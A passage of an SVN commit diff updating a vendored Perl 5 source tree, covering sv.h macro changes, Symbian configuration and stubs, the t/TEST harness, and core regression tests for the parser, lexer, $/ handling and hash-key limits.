 		: OP_DESC(PL_op);
 	if (uninit_sv && PL_curpad) {
 	    varname = find_uninit_var(PL_op, uninit_sv, 0, &desc);
@@ -16642,7 +16891,7 @@
         desc = "sort";
 
     /* PL_warn_uninit_sv is constant */
-    GCC_DIAG_IGNORE(-Wformat-nonliteral);
+    GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
     if (desc)
         /* diag_listed_as: Use of uninitialized value%s */
         Perl_warner(aTHX_ packWARN(WARN_UNINITIALIZED), PL_warn_uninit_sv,
@@ -16651,7 +16900,7 @@
     else
         Perl_warner(aTHX_ packWARN(WARN_UNINITIALIZED), PL_warn_uninit,
                 "", "", "");
-    GCC_DIAG_RESTORE;
+    GCC_DIAG_RESTORE_STMT;
 }
 
 /*

Modified: vendor/perl/dist/sv.h
===================================================================
--- vendor/perl/dist/sv.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/sv.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -208,7 +208,6 @@
 	UV      svu_uv;			\
 	_NV_BODYLESS_UNION		\
 	SV*     svu_rv;		/* pointer to another SV */		\
-	struct regexp* svu_rx;		\
 	SV**    svu_array;		\
 	HE**	svu_hash;		\
 	GP*	svu_gp;			\
@@ -402,7 +401,12 @@
 					  refers to an eval or once only
 					  [CvEVAL(cv), CvSPECIAL(cv)]
                                        3: HV: informally reserved by DAPM
-                                          for vtables */
+                                          for vtables
+                                       4: Together with other flags (or
+                                           lack thereof) indicates a regex,
+                                           including PVLV-as-regex. See
+                                           isREGEXP().
+                                       */
 #define SVf_OOK		0x02000000  /* has valid offset value. For a PVHV this
 				       means that a hv_aux struct is present
 				       after the main array */
@@ -473,7 +477,7 @@
     STRLEN	xpv_cur;	/* length of svu_pv as a C string */    \
     union {								\
 	STRLEN	xpvlenu_len; 	/* allocated size */			\
-	char *	xpvlenu_pv;	/* regexp string */			\
+        struct regexp* xpvlenu_rx; /* regex when SV body is XPVLV */    \
     } xpv_len_u	
 
 #define xpv_len	xpv_len_u.xpvlenu_len
@@ -847,7 +851,7 @@
 #define assert_not_ROK(sv)	assert_(!SvROK(sv) || !SvRV(sv))
 #define assert_not_glob(sv)	assert_(!isGV_with_GP(sv))
 
-#define SvOK(sv)		(SvFLAGS(sv) & SVf_OK || isREGEXP(sv))
+#define SvOK(sv)		(SvFLAGS(sv) & SVf_OK)
 #define SvOK_off(sv)		(assert_not_ROK(sv) assert_not_glob(sv)	\
 				 SvFLAGS(sv) &=	~(SVf_OK|		\
 						  SVf_IVisUV|SVf_UTF8),	\
@@ -1181,8 +1185,7 @@
 	 }))
 #    define SvCUR(sv)							\
 	(*({ const SV *const _svcur = (const SV *)(sv);			\
-	    assert(PL_valid_types_PVX[SvTYPE(_svcur) & SVt_MASK]	\
-		|| SvTYPE(_svcur) == SVt_REGEXP);			\
+	    assert(PL_valid_types_PVX[SvTYPE(_svcur) & SVt_MASK]);	\
 	    assert(!isGV_with_GP(_svcur));				\
 	    assert(!(SvTYPE(_svcur) == SVt_PVIO				\
 		     && !(IoFLAGS(_svcur) & IOf_FAKE_DIRP)));		\
@@ -1312,8 +1315,7 @@
                 (((XPVMG*)  SvANY(sv))->xmg_stash = (val)); } STMT_END
 #define SvCUR_set(sv, val) \
 	STMT_START { \
-		assert(PL_valid_types_PVX[SvTYPE(sv) & SVt_MASK]	\
-			|| SvTYPE(sv) == SVt_REGEXP);	\
+		assert(PL_valid_types_PVX[SvTYPE(sv) & SVt_MASK]);	\
 		assert(!isGV_with_GP(sv));		\
 		assert(!(SvTYPE(sv) == SVt_PVIO		\
 		     && !(IoFLAGS(sv) & IOf_FAKE_DIRP))); \
@@ -1402,6 +1404,10 @@
 #define LvTARGLEN(sv)	((XPVLV*)  SvANY(sv))->xlv_targlen
 #define LvFLAGS(sv)	((XPVLV*)  SvANY(sv))->xlv_flags
 
+#define LVf_NEG_OFF      0x1
+#define LVf_NEG_LEN      0x2
+#define LVf_OUT_OF_RANGE 0x4
+
 #define IoIFP(sv)	(sv)->sv_u.svu_fp
 #define IoOFP(sv)	((XPVIO*)  SvANY(sv))->xio_ofp
 #define IoDIRP(sv)	((XPVIO*)  SvANY(sv))->xio_dirp
@@ -1643,7 +1649,7 @@
 =for apidoc Am|void|sv_catsv_nomg|SV* dsv|SV* ssv
 Like C<sv_catsv> but doesn't process magic.
 
-=for apidoc Amdb|STRLEN|sv_utf8_upgrade_nomg|NN SV *sv
+=for apidoc Amdb|STRLEN|sv_utf8_upgrade_nomg|SV *sv
 
 Like C<sv_utf8_upgrade>, but doesn't do magic on C<sv>.
 
@@ -1756,18 +1762,23 @@
 #define SvPVutf8x_force(sv, lp) sv_pvutf8n_force(sv, &lp)
 #define SvPVbytex_force(sv, lp) sv_pvbyten_force(sv, &lp)
 
-#define SvTRUE(sv)        (LIKELY(sv) && (UNLIKELY(SvGMAGICAL(sv)) ? sv_2bool(sv) : SvTRUE_common(sv, sv_2bool_nomg(sv))))
-#define SvTRUE_nomg(sv)   (LIKELY(sv) && (                                SvTRUE_common(sv, sv_2bool_nomg(sv))))
-#define SvTRUE_NN(sv)              (UNLIKELY(SvGMAGICAL(sv)) ? sv_2bool(sv) : SvTRUE_common(sv, sv_2bool_nomg(sv)))
-#define SvTRUE_nomg_NN(sv) (                                        SvTRUE_common(sv, sv_2bool_nomg(sv)))
+#define SvTRUE(sv)         (LIKELY(sv) && SvTRUE_NN(sv))
+#define SvTRUE_nomg(sv)    (LIKELY(sv) && SvTRUE_nomg_NN(sv))
+#define SvTRUE_NN(sv)      (SvGETMAGIC(sv), SvTRUE_nomg_NN(sv))
+#define SvTRUE_nomg_NN(sv) (SvTRUE_common(sv, sv_2bool_nomg(sv)))
+
 #define SvTRUE_common(sv,fallback) (			\
-      !SvOK(sv)						\
+      SvIMMORTAL_INTERP(sv)                             \
+        ? SvIMMORTAL_TRUE(sv)                           \
+    : !SvOK(sv)						\
 	? 0						\
     : SvPOK(sv)						\
 	? SvPVXtrue(sv)					\
-    : (SvFLAGS(sv) & (SVf_IOK|SVf_NOK))			\
-	? (   (SvIOK(sv) && SvIVX(sv) != 0)		\
-	   || (SvNOK(sv) && SvNVX(sv) != 0.0))		\
+    : SvIOK(sv)                			        \
+        ? (SvIVX(sv) != 0 /* cast to bool */)           \
+    : (SvROK(sv) && !(   SvOBJECT(SvRV(sv))             \
+                      && HvAMAGIC(SvSTASH(SvRV(sv)))))  \
+        ? TRUE                                          \
     : (fallback))
 
 #if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN)
@@ -2083,8 +2094,21 @@
 #define SvPEEK(sv) ""
 #endif
 
-#define SvIMMORTAL(sv) (SvREADONLY(sv) && ((sv)==&PL_sv_undef || (sv)==&PL_sv_yes || (sv)==&PL_sv_no || (sv)==&PL_sv_placeholder))
+/* Is this a per-interpreter immortal SV (rather than global)?
+ * These should either occupy adjacent entries in the interpreter struct
+ * (MULTIPLICITY) or adjacent elements of PL_sv_immortals[] otherwise.
+ * The unsigned (Size_t) cast avoids the need for a second < 0 condition.
+ */
+#define SvIMMORTAL_INTERP(sv) ((Size_t)((sv) - &PL_sv_yes) < 4)
 
+/* Does this immortal have a true value? Currently only PL_sv_yes does. */
+#define SvIMMORTAL_TRUE(sv)   ((sv) == &PL_sv_yes)
+
+/* the SvREADONLY() test is to quickly reject most SVs */
+#define SvIMMORTAL(sv) \
+                (  SvREADONLY(sv) \
+                && (SvIMMORTAL_INTERP(sv) || (sv) == &PL_sv_placeholder))
+
 #ifdef DEBUGGING
    /* exercise the immortal resurrection code in sv_free2() */
 #  define SvREFCNT_IMMORTAL 1000
@@ -2122,9 +2146,13 @@
 	assert (!SvIOKp(sv));					       \
 	(SvFLAGS(sv) &= ~SVpgv_GP);				       \
     } STMT_END
+#ifdef PERL_CORE
+# define isGV_or_RVCV(kadawp) \
+    (isGV(kadawp) || (SvROK(kadawp) && SvTYPE(SvRV(kadawp)) == SVt_PVCV))
+#endif
 #define isREGEXP(sv) \
     (SvTYPE(sv) == SVt_REGEXP				      \
-     || (SvFLAGS(sv) & (SVTYPEMASK|SVp_POK|SVpgv_GP|SVf_FAKE)) \
+     || (SvFLAGS(sv) & (SVTYPEMASK|SVpgv_GP|SVf_FAKE))        \
 	 == (SVt_PVLV|SVf_FAKE))
 
 
@@ -2152,7 +2180,7 @@
 };
 
 /*
-=for apidoc Am|SV*|newSVpvn_utf8|NULLOK const char* s|STRLEN len|U32 utf8
+=for apidoc Am|SV*|newSVpvn_utf8|const char* s|STRLEN len|U32 utf8
 
 Creates a new SV and copies a string (which may contain C<NUL> (C<\0>)
 characters) into it.  If C<utf8> is true, calls
@@ -2174,7 +2202,7 @@
 #define newSVpadname(pn) newSVpvn_utf8(PadnamePV(pn), PadnameLEN(pn), TRUE)
 
 /*
-=for apidoc Am|void|SvOOK_offset|NN SV*sv|STRLEN len
+=for apidoc Am|void|SvOOK_offset|SV*sv|STRLEN len
 
 Reads into C<len> the offset from C<SvPVX> back to the true start of the
 allocated buffer, which will be non-zero if C<sv_chop> has been used to

Modified: vendor/perl/dist/symbian/config.sh
===================================================================
--- vendor/perl/dist/symbian/config.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/symbian/config.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,6 +48,7 @@
 d_PRIx64='undef'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='undef'
 d_accessx='undef'
 d_acosh='undef'
@@ -69,19 +70,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='undef'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='undef'
@@ -124,6 +124,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='undef'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -146,6 +148,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -288,10 +291,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='undef'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -317,17 +322,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='undef'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='undef'
 d_mbtowc='undef'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -352,6 +356,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -366,10 +371,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='undef'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='undef'
 d_poll='undef'
 d_portable='undef'
@@ -404,13 +411,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='undef'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -487,7 +492,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -506,19 +510,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='define'
 d_strcoll='undef'
-d_strctcpy='undef'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='undef'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -538,6 +541,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='define'
@@ -554,6 +558,7 @@
 d_umask='undef'
 d_uname='undef'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -567,8 +572,6 @@
 d_void_closedir='undef'
 d_voidsig='undef'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='undef'
@@ -651,7 +654,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='undef'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -662,7 +664,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='undef'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -673,13 +674,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='undef'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='define'
@@ -697,10 +695,8 @@
 i_socks='undef'
 i_stdarg='define'
 i_stdbool='undef'
-i_stddef='undef'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -737,10 +733,10 @@
 i_unistd='define'
 i_ustat='undef'
 i_utime='undef'
-i_values='undef'
 i_varargs='undef'
 i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs='y'
 inc_version_list=''
@@ -945,7 +941,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorlib=''

Modified: vendor/perl/dist/symbian/install.cfg
===================================================================
--- vendor/perl/dist/symbian/install.cfg	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/symbian/install.cfg	2018-12-22 22:55:19 UTC (rev 12126)
@@ -99,7 +99,7 @@
 # ext	Devel/DProf		nonconst
 # ext	Devel/PPPort		PORT
 # ext	Encode			nonconst Encode/encode.h def_t.c encengine.c
-# ext	I18N/Langinfo		PORT
+ext	I18N/Langinfo		PORT
 # ext	IPC/SysV		PORT
 # ext	NDBM_File		PORT
 # ext	ODBM_File		PORT

Modified: vendor/perl/dist/symbian/symbian_stubs.c
===================================================================
--- vendor/perl/dist/symbian/symbian_stubs.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/symbian/symbian_stubs.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -89,7 +89,7 @@
 struct protoent* getprotobyname(const char* name) {
     int i;
     for (i = 0; i < sizeof(protocols)/sizeof(struct protoent); i++)
-        if (strcmp(name, protocols[i].p_name) == 0)
+        if (strEQ(name, protocols[i].p_name))
             return (struct protoent*)(&(protocols[i]));
     return 0;
 }
@@ -97,7 +97,7 @@
 struct servent* getservbyname(const char* name, const char* proto) {
     int i;
     for (i = 0; i < sizeof(services)/sizeof(struct servent); i++)
-        if (strcmp(name, services[i].s_name) == 0)
+        if (strEQ(name, services[i].s_name))
             return (struct servent*)(&(services[i]));
     return 0;
 }

Modified: vendor/perl/dist/t/TEST
===================================================================
--- vendor/perl/dist/t/TEST	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/TEST	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,6 +23,8 @@
 # And skip even running these
 my $deparse_skips;
 
+my $deparse_skip_file = '../Porting/deparse-skips.txt';
+
 # directories with special sets of test switches
 my %dir_to_switch =
     (base => '',
@@ -39,7 +41,6 @@
 	   '../cpan/Archive-Tar' => 1,
 	   '../cpan/AutoLoader' => 1,
 	   '../cpan/CPAN' => 1,
-	   '../cpan/Devel-PPPort' => 1,
 	   '../cpan/Encode' => 1,
 	   '../cpan/ExtUtils-Constant' => 1,
 	   '../cpan/ExtUtils-Install' => 1,
@@ -55,6 +56,7 @@
 	   '../cpan/Test-Simple' => 1,
 	   '../cpan/podlators' => 1,
 	   '../dist/Cwd' => 1,
+	   '../dist/Devel-PPPort' => 1,
 	   '../dist/ExtUtils-ParseXS' => 1,
 	   '../dist/Tie-File' => 1,
 	  );
@@ -313,7 +315,8 @@
             my $perl_supp = $options->{return_dir} ? "$options->{return_dir}/perl.supp" : "perl.supp";
             my $valgrind_exe = $ENV{VALGRIND} // 'valgrind';
             if ($options->{run_dir}) {
-                $Valgrind_Log = "$options->{run_dir}/$Valgrind_Log";
+                require Cwd;
+                $Valgrind_Log = Cwd::abs_path("$options->{run_dir}/$Valgrind_Log");
             }
             my $vg_opts = $ENV{VG_OPTS}
 	       //   "--log-file=$Valgrind_Log "
@@ -497,6 +500,37 @@
 	_find_tests('bigmem') if $ENV{PERL_TEST_MEMORY};
     }
 }
+ at ARGV= do {
+    my @order= (
+	"base",
+	"comp",
+	"run",
+	"cmd",
+	"io",
+	"re",
+	"opbasic",
+	"op",
+	"uni",
+	"mro",
+	"lib",
+	"ext",
+	"dist",
+	"cpan",
+	"perf",
+	"porting",
+    );
+    my %order= map { $order[$_] => 1+$_ } 0..$#order;
+    my $idx= 0;
+    map {
+	$_->[0]
+    } sort {
+	    $a->[3] <=> $b->[3] ||
+	    $a->[1] <=> $b->[1]
+    } map {
+	my $root= /(\w+)/ ? $1 : "";
+	[ $_, $idx++, $root, $order{$root}||=0 ]
+    } @ARGV;
+};
 
 if ($::deparse) {
     _testprogs('deparse', '',   @ARGV);
@@ -562,6 +596,7 @@
     my $tested_files  = 0;
     my $totmax = 0;
     my %failed_tests;
+    my @unexpected_pass; # files where deparse-skips.txt says fail but passed
     my $toolnm;		# valgrind, cachegrind, perf
 
     while (my $test = shift @tests) {
@@ -713,8 +748,8 @@
 	# Deparse? Should it have passed or failed?
 	if ($type eq 'deparse' && $test =~ $deparse_failures) {
 	    if (!$failure) {
-		# Wait, it didn't fail? Great news! Tell someone!
-		$failure = "FAILED--all tests passed but test should have failed";
+		# Wait, it didn't fail? Great news!
+		push @unexpected_pass, $test;
 	    } else {
 		# Bah, still failing. Mask it.
 		print "${te}skipped\n";
@@ -774,6 +809,17 @@
 	for my $test ( sort keys %failed_tests ) {
 	    print "\t$test\n";
 	}
+
+	if (@unexpected_pass) {
+	    print <<EOF;
+
+The following scripts were expected to fail under -deparse (at least
+according to $deparse_skip_file), but unexpectedly succeeded:
+EOF
+	    print "\t$_\n" for sort @unexpected_pass;
+	    print "\n";
+	}
+
 	warn <<'SHRDLU_1';
 ### Since not all tests were successful, you may want to run some of
 ### them individually and examine any diagnostic messages they produce.
@@ -947,13 +993,12 @@
 }
 
 # Generate regexps of known bad filenames / skips from Porting/deparse-skips.txt
-my $in;
 
 sub _process_deparse_config {
     my @deparse_failures;
     my @deparse_skips;
 
-    my $f = '../Porting/deparse-skips.txt';
+    my $f = $deparse_skip_file;
 
     my $skips;
     if (!open($skips, '<', $f)) {
@@ -961,6 +1006,7 @@
         return;
     }
 
+    my $in;
     while(<$skips>) {
         if (/__DEPARSE_FAILURES__/) {
             $in = \@deparse_failures; next;
@@ -976,6 +1022,7 @@
         next unless $_;
 
         push @$in, $_;
+	warn "WARNING: $f:$.: excluded file doesn't exist: $_\n" unless -f $_;
     }
 
     for my $f (@deparse_failures, @deparse_skips) {

Modified: vendor/perl/dist/t/base/lex.t
===================================================================
--- vendor/perl/dist/t/base/lex.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/base/lex.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 #!./perl
 
-print "1..109\n";
+print "1..120\n";
 
 $x = 'x';
 
@@ -154,7 +154,36 @@
   print "not " unless index ($@, 'Can\'t use global $^XYZ in "my"') > -1;
   print "ok $test\n"; $test++;
 #  print "($@)\n" if $@;
+#
+  ${^TEST}= "splat";
+  @{^TEST}= ("foo", "bar");
+  %{^TEST}= ("foo" => "FOO", "bar" => "BAR" );
+  
+  print "not " if "${^TEST}" ne "splat";
+  print "ok $test\n"; $test++;
+  
+  print "not " if "${ ^TEST }" ne "splat";
+  print "ok $test\n"; $test++;
 
+  print "not " if "${^TEST}[0]" ne "splat[0]";
+  print "ok $test\n"; $test++;
+
+  print "not " if "${^TEST[0]}" ne "foo";
+  print "ok $test\n"; $test++;
+
+  print "not " if "${ ^TEST [1] }" ne "bar";
+  print "ok $test\n"; $test++;
+
+  print "not " if "${^TEST}{foo}" ne "splat{foo}";
+  print "ok $test\n"; $test++;
+
+  print "not " if "${^TEST{foo}}" ne "FOO";
+  print "ok $test\n"; $test++;
+
+  print "not " if "${ ^TEST {bar} }" ne "BAR";
+  print "ok $test\n"; $test++;
+
+
 # Now let's make sure that caret variables are all forced into the main package.
   package Someother;
   $^Q = 'Someother';
@@ -528,6 +557,15 @@
  eval ('/@0{0*->@*/*]');
  print "ok $test - 128171\n"; $test++;
 }
+{
+  # various sub-parse recovery issues that crashed perl
+  eval 's//${sub{b{]]]{}#$/ sub{}';
+  print "ok $test - 132640\n"; $test++;
+  eval 'qq{@{sub{]]}}}};shift';
+  print "ok $test - 125351\n"; $test++;
+  eval 'qq{@{sub{]]}}}}-shift';
+  print "ok $test - 126192\n"; $test++;
+}
 
 $foo = "WRONG"; $foo:: = "bar"; $bar = "baz";
 print "not " unless "$foo::$bar" eq "barbaz";

Modified: vendor/perl/dist/t/base/rs.t
===================================================================
--- vendor/perl/dist/t/base/rs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/base/rs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl
 # Test $/
 
-print "1..39\n";
+print "1..41\n";
 
 $test_count = 1;
 $teststring = "1\n12\n123\n1234\n1234\n12345\n\n123456\n1234567\n";
@@ -237,17 +237,31 @@
   if ($bar ne "78") {print "not ";}
   print "ok $test_count # \$/ = \\\$foo (\$foo = \"2\")\n";
   $test_count++;
-
-  # Naughty straight number - should get the rest of the file
-  # no warnings 'deprecated'; # but not in t/base/*
-  { local $SIG{__WARN__} = sub {}; $/ = \0 }
-  $bar = <FH>;
-  if ($bar ne "90123456789012345678901234567890") {print "not ";}
-  print "ok $test_count # \$/ = \\0\n";
-  $test_count++;
 }
 
 sub test_bad_setting {
+  if (eval {$/ = \0; 1}) {
+    print "not ok ",$test_count++," # \$/ = \\0; should die\n";
+    print "not ok ",$test_count++," # \$/ = \\0; produced expected error message\n";
+  } else {
+    my $msg= $@ || "Zombie Error";
+    print "ok ",$test_count++," # \$/ = \\0; should die\n";
+    if ($msg!~m!Setting \$\/ to a reference to zero is forbidden!) {
+      print "not ";
+    }
+    print "ok ",$test_count++," # \$/ = \\0; produced expected error message\n";
+  }
+  if (eval {$/ = \-1; 1}) {
+    print "not ok ",$test_count++," # \$/ = \\-1; should die\n";
+    print "not ok ",$test_count++," # \$/ = \\-1; produced expected error message\n";
+  } else {
+    my $msg= $@ || "Zombie Error";
+    print "ok ",$test_count++," # \$/ = \\-1; should die\n";
+    if ($msg!~m!Setting \$\/ to a reference to a negative integer is forbidden!) {
+      print "not ";
+    }
+    print "ok ",$test_count++," # \$/ = \\-1; produced expected error message\n";
+  }
   if (eval {$/ = []; 1}) {
     print "not ok ",$test_count++," # \$/ = []; should die\n";
     print "not ok ",$test_count++," # \$/ = []; produced expected error message\n";

Modified: vendor/perl/dist/t/base/translate.t
===================================================================
--- vendor/perl/dist/t/base/translate.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/base/translate.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
         print "not ";
     }
     print "ok ";
-    print $i + 1;
+    print $i + 1 . " - native_to_unicode $i";
     print "\n";
 }
 
@@ -23,5 +23,4 @@
 if (utf8::unicode_to_native(utf8::native_to_unicode(100000)) != 100000) {
     print "not ";
 }
-print "ok ";
-print "257\n";
+print "ok 257 - native_to_unicode of large number\n";

Added: vendor/perl/dist/t/bigmem/hash.t
===================================================================
--- vendor/perl/dist/t/bigmem/hash.t	                        (rev 0)
+++ vendor/perl/dist/t/bigmem/hash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,33 @@
+#!perl
+BEGIN {
+    chdir 't' if -d 't';
+    @INC = "../lib";
+    require './test.pl';
+}
+
+use Config qw(%Config);
+
+$ENV{PERL_TEST_MEMORY} >= 4
+    or skip_all("Need ~4Gb for this test");
+$Config{ptrsize} >= 8
+    or skip_all("Need 64-bit pointers for this test");
+
+plan(2);
+
+sub exn {
+    my ($code_string) = @_;
+    local $@;
+    return undef if eval "do { $code_string }; 1";
+    return $@;
+}
+
+like(exn('my $h = { "x" x 2**31, undef }'),
+     qr/^\QSorry, hash keys must be smaller than 2**31 bytes\E\b/,
+     "hash constructed with huge key");
+
+TODO: {
+    local $TODO = "Doesn't yet work with OP_MULTIDEREF";
+    like(exn('my %h; %h{ "x" x 2**31 } = undef'),
+         qr/^\QSorry, hash keys must be smaller than 2**31 bytes\E\b/,
+         "assign to huge hash key");
+}

Modified: vendor/perl/dist/t/comp/bproto.t
===================================================================
--- vendor/perl/dist/t/comp/bproto.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/comp/bproto.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,11 +3,7 @@
 # check if builtins behave as prototyped
 #
 
-BEGIN {
-    chdir 't' if -d 't';
-    @INC = '../lib';
-}
-
+# Ideally tests in t/comp wouldn't use require, as require isn't tested yet
 print "1..16\n";
 
 my $i = 1;

Added: vendor/perl/dist/t/comp/filter_exception.t
===================================================================
--- vendor/perl/dist/t/comp/filter_exception.t	                        (rev 0)
+++ vendor/perl/dist/t/comp/filter_exception.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+#!./perl 
+
+BEGIN {
+    chdir 't' if -d 't';
+    require './test.pl';
+}
+
+plan tests => 4;
+
+BEGIN {
+    unshift @INC, sub {
+	return () unless $_[1] =~ m#\At/(Foo|Bar)\.pm\z#;
+	my $t = 0;
+	return sub {
+	    if(!$t) {
+		$_ = "int(1,2);\n";
+		$t = 1;
+		$@ = "wibble";
+		return 1;
+	    } else {
+		return 0;
+	    }
+	};
+    };
+}
+
+is +(do "t/Bar.pm"), undef;
+like $@, qr/\AToo many arguments for int /;
+is eval { require "t/Foo.pm" }, undef;
+like $@, qr/\AToo many arguments for int /;
+
+1;

Modified: vendor/perl/dist/t/comp/parser.t
===================================================================
--- vendor/perl/dist/t/comp/parser.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/comp/parser.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -582,13 +582,16 @@
 eval 'substr keys(%h),0,=3';
 is $@, "", 'substr keys assignment';
 
-# very large utf8 char in error message was overflowing buffer
-{
-
-    no warnings;
-    eval "q" . chr(100000000064);
-    like $@, qr/Can't find string terminator "." anywhere before EOF/,
-        'RT 128952';
+{ # very large utf8 char in error message was overflowing buffer
+    if (length sprintf("%x", ~0) <= 8) {
+        is 1, 1, "skip because overflows on 32-bit machine";
+    }
+    else {
+        no warnings;
+        eval "q" . chr(100000000064);
+        like $@, qr/Can't find string terminator "." anywhere before EOF/,
+            'RT 128952';
+    }
 }
 
 # RT #130311: many parser shifts before a reduce

Modified: vendor/perl/dist/t/comp/parser_run.t
===================================================================
--- vendor/perl/dist/t/comp/parser_run.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/comp/parser_run.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,12 +5,12 @@
 # Note that this should still be runnable under miniperl.
 
 BEGIN {
-    @INC = qw(. ../lib );
     chdir 't' if -d 't';
+    require './test.pl';
+    set_up_inc( qw(. ../lib ) );
 }
 
-require './test.pl';
-plan(1);
+plan(5);
 
 # [perl #130814] can reallocate lineptr while looking ahead for
 # "Missing $ on loop variable" diagnostic.
@@ -24,5 +24,36 @@
 Identifier too long at - line 3.
 EXPECT
 
+fresh_perl_is(<<EOS, <<'EXPECT', {}, "linestart before bufptr");
+\${ \xB6eeeeeeeeeeee
+'x
+EOS
+Unrecognized character \xB6; marked by <-- HERE after ${ <-- HERE near column 4 at - line 1.
+EXPECT
+
+fresh_perl_is(<<'EOS', <<'EXPECTED', {}, "use after free (#131836)");
